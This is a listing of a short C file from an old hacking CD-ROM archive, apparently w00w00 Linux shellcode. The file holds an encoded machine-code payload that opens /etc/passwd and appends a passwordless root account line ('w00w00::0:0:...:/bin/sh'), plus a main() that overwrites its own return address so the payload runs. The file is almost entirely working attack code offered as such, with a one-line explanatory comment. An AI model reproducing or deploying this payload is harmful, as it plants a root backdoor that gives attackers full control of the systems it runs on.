home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / shellcode / linux / pass.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-01-01  |  730 b   |  26 lines

  1. /* 
  2.  * Source to this is pass.s
  3.  * This will append a root line to the passwd file (see the source).
  4.  *
  5.  * Shok (Matt Conover), shok@dataforce.net
  6.  */
  7.  
  8. char shellcode[]=
  9.   "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
  10.   "\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9\x41\x04\x31\xd2\x66\xba\xa4"
  11.   "\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x41\x01\xf9\x31"
  12.   "\xd2\xb2\x1f\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
  13.   "\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x77\x30\x30\x77\x30"
  14.   "\x30\x3a\x3a\x30\x3a\x30\x3a\x77\x30\x77\x30\x77\x21\x3a\x2f\x3a"
  15.   "\x2f\x62\x69\x6e\x2f\x73\x68\x0a";
  16.  
  17. void main()
  18. {
  19.  
  20.   int *ret;
  21.   
  22.   printf("w00w00!\n");
  23.   ret = (int *)&ret + 2;
  24.   (*ret) = (int)shellcode;
  25. }
  26.